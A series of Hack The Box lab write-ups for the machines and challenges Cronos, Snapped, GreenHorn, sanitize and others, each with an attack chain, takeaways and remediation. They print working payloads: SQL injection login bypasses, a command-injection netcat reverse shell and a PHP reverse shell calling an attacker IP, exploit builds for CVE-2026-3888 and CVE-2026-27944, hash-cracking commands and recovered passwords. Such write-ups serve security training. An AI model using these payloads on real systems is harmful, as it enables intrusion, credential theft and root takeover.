Que onda writeup

Challenge name: Que onda

Difficulty: Very Easy

Challenge Scenario: Que onda! Welcome to the festival of Pwn! This is a small guide to help you continue your journey, follow the instructions in README.txt

Link: https://app.hackthebox.com/challenges/Que%2520onda?tab=play_challenge

Machine IP: 154.57.164.76:32169

Downloaded the files and read the README.

Downloaded the tools. Netcated to the ip and port and inputted flag and I received the flag.

nc 154.57.164.76 32169

GG

Cronos writeup

Box name: Cronos

Difficulty: Medium

OS: Linux

Overview: CronOS focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability.

Link: https://app.hackthebox.com/machines/Cronos?sort_by=created_at&sort_type=desc

Machine IP: 10.129.227.211

Ran rustscan against the machine.

rustscan -a 10.129.227.211 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver and its a Default apache server.

Ran feroxbuster.

feroxbuster -u http://10.129.227.211 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

Feroxbuster not finding anything right away. SSH is an older version and there is a CVE for that but I’ll try that last as I doubt that’s the path. Nothing interesting from port 53 DNS. Rerunning rustscan and also checking udp ports. I got stuck here and peeked at the write. I guess I wasn’t using nslookup properly to get a useful response.

nslookup 10.129.227.211 10.129.227.211

Added that to /etc/hosts. With this new information if we dig it we get another subdomain.

This brings us to a basic log in. Added admin.cronos.htb to /etc/hosts and navigated to it.

I was able to log in using SQL injection.

UserName: ‘ or 1=1 — –

Password: t

On successful log in it brings us to some Net Tool.

It successfully pings me using the ping option and my ip address. I piped id and that also worked.

Wanted to see if there is netcat on the device by piping which nc and that worked.

Let’s try to get a reverse shell. Set up a listener. Tried a few from revshells and I was able to get a shell.

8.8.8.8|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.27 1337 >/tmp/f

Stabilized my shell.

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
# Ctrl + Z
stty raw -echo; fg
# hit space
export TERM=xterm

Poked around and it looks like the main site runs laravel and has a mysql database.

I couldn’t find any creds. Checked /home and there is another user that we can get user.txt from.

Did more local enumeration. Eventually I saw that there was a cronjob running a script as root.

We can edit this file.

Tried changing it to a bash revshell then realized it’s running php from the cronjob. Editing the file to:

<?php $sock=fsockopen(“10.10.16.27”,1338);exec(“sh <&3 >&3 2>&3”);

And we got a shell as root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 53 (DNS), and 80 (HTTP). Browsed to port 80 and found a default Apache page. Ran feroxbuster with no useful results. Noted an older SSH version but deprioritized it. Used nslookup against the machine’s own DNS server to resolve the hostname and discovered cronos.htb. Added it to /etc/hosts and used dig to enumerate subdomains, finding admin.cronos.htb.

rustscan -a 10.129.227.211 –ulimit 5000 -b 2000 — -A -Pn nslookup 10.129.227.211 10.129.227.211 feroxbuster -u http://10.129.227.211 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – SQL injection authentication bypass Navigated to admin.cronos.htb and found a login page. Bypassed authentication using a classic SQL injection payload and logged in without valid credentials. The admin panel exposed a Net Tool with ping and traceroute functionality.

Username: ‘ or 1=1 — –

3 – Initial Access – command injection in Net Tool Tested the ping functionality and confirmed it was passing input directly to a system command. Piped id and confirmed command injection. Confirmed netcat was present on the system. Used a mkfifo reverse shell payload to obtain an interactive shell as www-data.

8.8.8.8|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.27 1337 >/tmp/f

4 – User flag Stabilized the shell and enumerated /home. Found another user with user.txt accessible. Retrieved user.txt.

5 – Privilege Escalation – writable root crontab script Enumerated running cron jobs and identified a PHP script being executed as root on a schedule. The script file was world-writable. Replaced the contents with a PHP reverse shell payload, set up a listener, and waited for the cron job to execute. Received a root shell. Retrieved root.txt.

<?php $sock=fsockopen(“10.10.16.27”,1338);exec(“sh <&3 >&3 2>&3”);

Key Takeaways

1. SQL injection authentication bypass on admin panel – CWE-89 – The admin login form passed user-supplied input directly into a SQL query without sanitization, allowing complete authentication bypass with a classic OR 1=1 payload. All database queries must use parameterized statements and admin panels must implement additional authentication controls beyond a single login form.
   
2. DNS zone transfer or subdomain enumeration revealing admin panel – The admin subdomain was only discoverable by querying the machine’s own DNS server, which returned zone data exposing internal hostnames. DNS servers must be configured to restrict zone transfers to authorized secondary servers only and internal subdomains must not be discoverable through unauthenticated DNS queries.
   
3. Command injection in Net Tool – CWE-78 – The ping and traceroute functionality passed user input directly to a system command with no sanitization, allowing arbitrary OS command execution via pipe characters. All input that interacts with system commands must be validated against a strict allowlist and commands must be executed using safe API calls rather than shell execution.
   
4. World-writable file executed by root cron job – A PHP script owned by or writable by a non-root user was scheduled to run as root via crontab. Any file executed by a privileged process must be owned by root and must not be writable by any other user. Root crontab entries must be audited regularly for world or group writable scripts.
   
5. Admin panel exposed on a discoverable subdomain with no additional protection – The admin panel was accessible directly from the network with no IP restriction, VPN requirement, or additional authentication layer. Administrative interfaces must be restricted to authorized management networks and must never be reachable from untrusted hosts.
   

Remediation

[Immediate] Remediate the SQL injection vulnerability – CWE-89 Rewrite all database queries in the admin panel and any other application using parameterized queries or prepared statements. Conduct a full code audit of the Laravel application for any additional SQL injection points. Deploy a WAF with SQL injection detection rules as a compensating control during remediation.

[Immediate] Remediate the command injection vulnerability – CWE-78 Rewrite the Net Tool functionality to use safe API calls with no shell execution. Validate all user-supplied input against a strict allowlist of permitted IP address formats. If ping and traceroute functionality is not operationally required, remove it entirely from the application.

[Immediate] Fix permissions on all root crontab scripts Audit all scripts referenced in root crontab entries and set them to be owned by root with mode 755 or stricter. Remove write access for all non-root users. Implement file integrity monitoring on all cron-executed scripts to alert on unauthorized modifications.

[Immediate] Restrict DNS zone transfers Configure the DNS server to allow zone transfers only to explicitly authorized secondary DNS servers. Disable recursive queries for external clients. Audit all DNS records for internal subdomains that should not be publicly discoverable and remove or restrict any that expose internal infrastructure.

[Short-term] Restrict access to the admin panel Apply firewall rules restricting access to admin.cronos.htb to specific authorized management IP addresses. Require VPN access for all administrative interfaces. Implement MFA on the admin login page and enforce account lockout after failed authentication attempts.

[Long-term] Implement a secure development lifecycle for web applications SQL injection and command injection are well-understood vulnerability classes that must be caught before deployment. Integrate SAST tooling into the CI/CD pipeline, conduct regular web application penetration tests, and train developers on secure coding practices covering parameterized queries, input validation, and safe system command execution.

Snapped writeup

Box name: Snapped

Difficulty: Hard

OS: Linux

Overview: Snapped is a hard-difficulty machine that features two recent CVEs. The foothold showcases CVE-2026-27944 in Nginx-UI, which exposes the /api/backup endpoint without authentication. The endpoint will produce a full backup of the nginx and nginx-UI configuration files, and includes the key to decrypt the backup in the response headers. This leads to finding and decrypting a weak user password from the Nginx-UI database file. Root exploits CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. After the system’s cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine’s execution via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence reliably. This poisons the sandbox’s shared libraries, enabling dynamic linker hijacking on the SUID-root snap-confine binary to compromise the system.

Link: https://app.hackthebox.com/machines/Snapped?sort_by=created_at&sort_type=desc

Machine IP: 10.129.3.225

Ran rustscan against the machine.

rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn

Added snapped.htb to /etc/hosts. Navigated to the site and also nginx version looked interesting so I looked that up. No robots or sourcecode. Running vhost fuzz with ffuf and directory bust with feroxbuster while I read more about the nginx version.

feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

Right away ffuf found admin.snapped.htb so I also ran ferox for that too.

feroxbuster -u http://admin.snapped.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

Time to read more about nginx UI and the nginx version 1.24.0.

Feroxbuster found a /version.json which gave us the version of Nginx UI. Nginx UI 2.3.2.

Found a few exploits but the most interesting looks like CVE-2026-27944 https://thecyberexpress.com/cve-2026-27944-nginx-ui-backup-vulnerability/. “The vulnerability stems from the /api/backup endpoint in Nginx UI, which is accessible without any authentication controls.” When I navigated to http://admin.snapped.htb/api/backup/ it downloaded a backup.

It’s encrypted but it also gives us the key to decrypt in the header response. Here is a github exploit we can use https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762.

python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt

Found a database.db in /backup_extracted/nginx-ui. Read it and we get users admin and jonathan and hashes.

jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq

admin:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvmg

Put them in hashes.txt and tried cracking with hashcat.

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

While that runs I read through the database.db again and his turns out to be an auth token.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoxLCJpc3MiOiJOZ2lueCBVSSIsInN1YiI6ImFkbWluIiwiZXhwIjoxNzc0MDE1NjUzLCJuYmYiOjE3NzM5MjkyNTMsImlhdCI6MTc3MzkyOTI1MywianRpIjoiMSJ9.3-xEVZ_gL5N9MH6QRtE3ROmyiPpNBT0gUeUxT9IyFts

We get jonathan’s password from hashcat.

Jonathan:linkinpark

Attempted to ssh first and we got it and grabbed user.txt.

Moved linpeas over to the victim machine and ran it.

sudo python3 -m http.server 8080

curl http://10.10.16.27:8080/linpeas.sh -o linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

From linpeas I saw a bunch of things related to snap and considering the box this has to be the path. Googled how to check its version.

snap version

Google exploits and it’s definitely vulnerable for LPE, CVE-2026-388 https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root. Found this exploit on github https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.

Downloaded it to my machine and compiled.

git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

gcc -O2 -static -o exploit exploit_suid.c

gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c

Moved them over to the target.

python3 -m http.server 8080

wget http://10.10.16.27:8080/exploit

wget http://10.10.16.27:8080/librootshell.so

chmod +x exploit

Then ran it and we get root.

./exploit ./librootshell.so 

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added snapped.htb to /etc/hosts. Browsed to the site and noted the Nginx version. No robots.txt or interesting source code. Ran feroxbuster and ffuf VHOST fuzzing simultaneously. ffuf immediately found admin.snapped.htb. Ran a second feroxbuster against the admin subdomain which found /version.json, revealing Nginx UI 2.3.2.

rustscan -a 10.129.3.225 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.3.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://snapped.htb -H “Host: FUZZ.snapped.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

2 – Unauthenticated backup download and decryption – CVE-2026-27944 Researched Nginx UI 2.3.2 and found CVE-2026-27944, an unauthenticated access vulnerability on the /api/backup endpoint. Navigating directly to the endpoint downloaded an encrypted backup archive. The decryption key was included in the response headers. Used a public PoC to decrypt the backup and extract its contents. Found a SQLite database at nginx-ui/database.db containing admin and jonathan user accounts with bcrypt hashes and an active JWT auth token for admin.

python poc.py –target http://admin.snapped.htb –out backup.bin –decrypt

3 – Hash cracking and SSH access Placed both bcrypt hashes in hashes.txt and cracked with Hashcat using rockyou. Jonathan’s hash cracked successfully. SSH’d in as jonathan and retrieved user.txt.

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: jonathan:linkinpark

4 – Privilege Escalation – snap-confine TOCTOU race condition – CVE-2026-3888 Ran LinPEAS and identified multiple snap-related findings. Checked the snap version and confirmed it was vulnerable to CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. The exploit wins the race during snap-confine’s mimic bind-mount sequence by recreating a stale /tmp directory with controlled content and using AF_UNIX socket backpressure to single-step execution, poisoning the sandbox’s shared libraries and hijacking the dynamic linker on the SUID-root snap-confine binary. Compiled the exploit and shared library on the attack machine, transferred both to the target, and executed to obtain a root shell. Retrieved root.txt.

gcc -O2 -static -o exploit exploit_suid.c gcc -nostdlib -static -Wl,–entry=_start -o librootshell.so librootshell_suid.c ./exploit ./librootshell.so

Key Takeaways

1. Unauthenticated backup endpoint exposing encrypted archive and decryption key – CVE-2026-27944 (CVSS 9.8 Critical) – The /api/backup endpoint in Nginx UI 2.3.2 required no authentication and returned both the encrypted backup and the decryption key in the same response, completely negating the encryption. Any API endpoint that handles sensitive data must require strong authentication. Returning a decryption key alongside encrypted data in the same response provides no security benefit.
   
2. Version disclosure via /version.json – The Nginx UI version was readable from an unauthenticated endpoint, enabling immediate and precise exploit selection. Version disclosure endpoints must be removed or restricted to authenticated administrators in production deployments.
   
3. JWT auth token stored in the application database – An active admin JWT was stored in the database file extracted from the backup, providing a secondary authentication path without requiring password cracking. JWT tokens must have short expiry windows and must be invalidated on logout. Storing active tokens in the database extends their exploitable lifetime.
   
4. Weak password crackable with rockyou – Jonathan’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate hashing algorithm, the underlying password was a common dictionary word. All user passwords must meet complexity requirements that make dictionary attacks infeasible regardless of the hashing algorithm in use.
   
5. snap-confine TOCTOU race condition enabling root – CVE-2026-3888 (CVSS 7.8 High) – The snap version running was vulnerable to a local privilege escalation via a race condition in snap-confine’s mimic bind-mount sequence. Kernel and system package updates must be applied promptly and snap must be kept at a patched version. If snap is not operationally required, it should be removed entirely.
   

Remediation

[Immediate] Patch Nginx UI to remediate CVE-2026-27944 (CVSS 9.8 Critical) Update Nginx UI to the latest patched version immediately. Restrict access to the admin subdomain and all Nginx UI API endpoints to authorized management IP ranges via firewall rules. Audit all API endpoints for missing authentication controls and ensure no endpoint returns sensitive data to unauthenticated requests.

[Immediate] Patch snap to remediate CVE-2026-3888 (CVSS 7.8 High) Update snapd and snap-confine to the latest patched version immediately. If snap is not operationally required on the server, remove it entirely using apt purge snapd. Removing the attack surface entirely is preferable to patching where snap has no business justification on a server workload.

[Immediate] Rotate all credentials and tokens extracted from the backup The jonathan and admin password hashes and the admin JWT extracted from the database must all be considered fully compromised. Rotate all affected passwords, invalidate the JWT, and regenerate the application secret key. Audit the backup for any additional credentials, API keys, or configuration secrets.

[Immediate] Remove or authenticate the /api/backup endpoint Require strong authentication on the /api/backup endpoint and all other Nginx UI API endpoints. The decryption key must never be returned in the same response as the encrypted data. Implement separate key management so backup decryption requires a separate authenticated request with an authorized key.

[Short-term] Enforce strong passwords and disable weak password patterns Jonathan’s password was a common band name in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Deploy a banned password list blocking dictionary words and common phrases. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Long-term] Implement a web application and system component hardening baseline Define a hardening standard covering API authentication requirements, version disclosure endpoints, JWT lifecycle management, snap usage policy, and system package patch cadence. Include Nginx UI and similar web server management interfaces in regular vulnerability scans. Establish an SLA requiring critical and high severity patches to be applied within 72 hours of vendor release.

sanitize writeup

Challenge name: sanitize

Difficulty: Easy

Challenge Scenario: Can you escape the query context and log in as admin at my super secure login page?

Link: https://app.hackthebox.com/challenges/sanitize?tab=play_challenge

Machine IP: 154.57.164.83:32652

Navigated to the site and its a login form.

Right away looks like sql injection. 

‘ OR 1 = 1 –

And it responded with this (realized later that my notes had an emdash instead of 2 hyphens for commenting).

Fixed commentating and it worked and I got the flag.

‘ or 1=1 — –

GG

MinMax writeup

Challenge name: MinMax

Difficulty: Easy

Challenge Scenario: In a haunted graveyard, spirits hide among the numbers. Can you identify the smallest and largest among them before they vanish?

Link: https://app.hackthebox.com/challenges/MinMax?tab=play_challenge

Machine IP: 154.57.164.80:32366

Navigated to the site and it’s a coding challenge for minimum and maximum.

Took a bit of time as my coding is rust (my main issue was I wasn’t parsing the input properly) but I eventually got to this code and got the flag.

GG

Getting Started writeup

Challenge name: Getting Started

Difficulty: Very Easy

Challenge Scenario: Get ready for the last guided challenge and your first real exploit. It’s time to show your hacking skills.

Link: https://app.hackthebox.com/challenges/Getting%2520Started?tab=play_challenge

Machine IP: 154.57.164.64:31934

Navigated to the site and right away it looks like its asking us to do a buffer overflow and show us what address we should be changing.

Downloaded the files that came with the challenge. It  gives us a pwntool script and the binary. 

Edited the code since it tells us the target is at 48bytes and put in the IP and port. Ran it and it gave me the flag.

GG

GreenHorn writeup

Box name: GreenHorn

Difficulty: Easy

OS: Linux

Overview: GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential.

Link: https://app.hackthebox.com/machines/GreenHorn?sort_by=created_at&sort_type=desc

Machine IP: 10.129.2.123

Ran rustscan against the machine.

rustscan -a 10.129.2.123 –ulimit 5000 -b 2000 — -A -Pn

Checked out port 80. Added greenhorn.htb to /etc/hosts. 

It looks like this is ran on pluck. Ran vhost and feroxbuster.

feroxbuster -u http://greenhorn.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

ffuf -u http://greenhorn.htb -H “Host: FUZZ.greenhorn.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

Feroxbuster found a few things. /login.php looks most interesting.

We got a version pluck 4.7.18. This is vulnerable to EDB-ID 51592 for RCE https://www.exploit-db.com/exploits/51592. I have no creds yet and there doesn’t appear to be anything else here. Checked out port :3000 and it’s a Gitea service version 1.21.11

I haven’t seen this before, so I clicked around and in Explore it shows its connected to the other site.

Clicked around the repository.

I ended up finding a hash after poking around.

Looks like it’s SHA-512. Tried cracking with hashcat.

hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt 

Iloveyou1

Now that we have a password I found a prewritten code https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC/blob/main/poc.py.

Read and downloaded the script. Create a shell.php, zipped it and ran it and we get a shell as www-data.

Read /etc/passwd and there is a user junior.

Tried the same password we already have and it actually worked.

Got user.txt and there is also a .pdf file in juniors directory.

Moving it to my own device I encoded it.

cat ‘Using OpenVAS.pdf’|base64 -w 0;echo

Decoded it on my machine and put it in greenhorn.pdf.

cat decode.txt| base64 -d; echo

When reading it there is a password blurred.

Disconnected the image from the pdf.

pdfimages greenhorn.pdf imagess

Found a tool to depixelize it https://github.com/spipm/Depixelization_poc. Tried a bunch of search images and this worked.

python3 depix.py -p /home/kami/Fknhack/imagess-000.ppm -s /home/kami/Fknhack/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png

I didn’t know what this even meant so I just tried it as a password for root and it worked.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 3000 (Gitea). Added greenhorn.htb to /etc/hosts. Browsed to port 80 and found a Pluck CMS site. Ran feroxbuster and ffuf VHOST fuzzing. Feroxbuster found /login.php which revealed Pluck version 4.7.18.

rustscan -a 10.129.2.123 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://greenhorn.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://greenhorn.htb -H “Host: FUZZ.greenhorn.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

2 – Gitea repository and hash extraction Browsed to the Gitea instance on port 3000 running version 1.21.11. Found it was connected to the main site. Explored public repositories and found a SHA-512 password hash stored in a file. Cracked it with Hashcat using rockyou.

hashcat -m 1700 hash.txt /usr/share/wordlists/rockyou.txt

Password recovered: iloveyou1

3 – Initial Access – Pluck 4.7.18 RCE – CVE-2023-50564 / EDB-51592 Authenticated to the Pluck admin panel with the recovered password. Used a public PoC for CVE-2023-50564 which created a malicious PHP shell, zipped it, and uploaded it through the Pluck module installer to achieve code execution as www-data.

4 – Lateral movement via password reuse Found a user junior in /etc/passwd. Tried the same password on the junior account and it worked. Retrieved user.txt and found a PDF file in junior’s home directory.

Credentials: junior:iloveyou1

5 – Privilege Escalation – depixelation of blurred credentials Transferred the PDF to the attack machine via base64 encoding and extracted the embedded image using pdfimages. The PDF contained a password that had been pixelated or blurred. Used the Depix tool with a Windows Notepad de Bruijn sequence search image to recover the original plaintext from the pixelated image. Tried the recovered string as the root password and it worked. Retrieved root.txt.

pdfimages greenhorn.pdf imagess python3 depix.py -p imagess-000.ppm -s debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png

Key Takeaways

1. Password hash stored in a public Gitea repository – A SHA-512 password hash was committed to a public repository connected to the production application. Secrets of any kind must never be committed to version control. Implement pre-commit hooks and secrets scanning tools such as truffleHog or gitleaks to prevent credential commits. Audit all repositories for historical secret exposure.
   
2. Pluck 4.7.18 authenticated RCE – CVE-2023-50564 / EDB-51592 (CVSS 8.8 High) – The Pluck CMS version running was vulnerable to a file upload RCE via the module installer. CMS platforms must be kept fully patched and module upload functionality must be restricted to trusted administrators only.
   
3. Password reuse between CMS admin and OS account – The password cracked from the Gitea hash was reused for the junior OS account, turning a repository credential into direct system access. Passwords must be unique across every account and service without exception.
   
4. Pixelation is not a secure method of redacting credentials – The root password was visible in a PDF but obscured using pixelation. Pixelation applied to text with a known font and character set is reversible using publicly available tools. Sensitive information must be redacted by overwriting with a solid color or by removing the content entirely before sharing documents.
   
5. Sensitive PDF stored in a user home directory – The PDF containing a credential hint was accessible after lateral movement to the junior account. Documents containing any credential information must never be stored on general-purpose user accounts and must be handled through a controlled access document management system.
   

Remediation

[Immediate] Remove the password hash from the Gitea repository Remove the hash from the repository immediately, rewrite Git history to purge the commit, and rotate the affected password. Audit all other repositories for committed secrets including hashes, API keys, and configuration files. Implement secrets scanning in the CI/CD pipeline and enforce pre-commit hooks across all repositories.

[Immediate] Patch Pluck CMS to remediate CVE-2023-50564 / EDB-51592 (CVSS 8.8 High) Update Pluck to the latest patched version immediately. Restrict access to the admin login page to authorized IP ranges only. If Pluck is not actively maintained upstream, evaluate migrating to a supported CMS alternative.

[Immediate] Enforce unique passwords across all accounts Rotate all passwords where iloveyou1 was reused across the Pluck admin, junior OS account, and any other service. Enforce a policy requiring unique passwords per account and per service. Deploy a password manager for all user accounts and enforce complexity requirements across the environment.

[Immediate] Replace pixelation with proper redaction Audit all shared documents for pixelated or blurred sensitive information and replace with solid color redaction or content removal. Establish a document handling policy requiring that all credentials be removed entirely from documents before sharing and that no password or secret ever appears in a PDF, image, or presentation in any form.

[Short-term] Restrict Gitea repository visibility and audit public repositories Audit all Gitea repositories for public visibility and restrict any that contain internal application code, configuration, or anything linked to production systems. Require authentication to browse repository content and implement branch protection and access controls on all production-related repositories.

[Long-term] Implement a secrets management and developer security training program Establish a policy prohibiting hardcoded credentials and password hashes in all code repositories and documents. Integrate secrets scanning into the development workflow and conduct security awareness training covering credential hygiene, safe document sharing, and the risks of committing sensitive data to version control.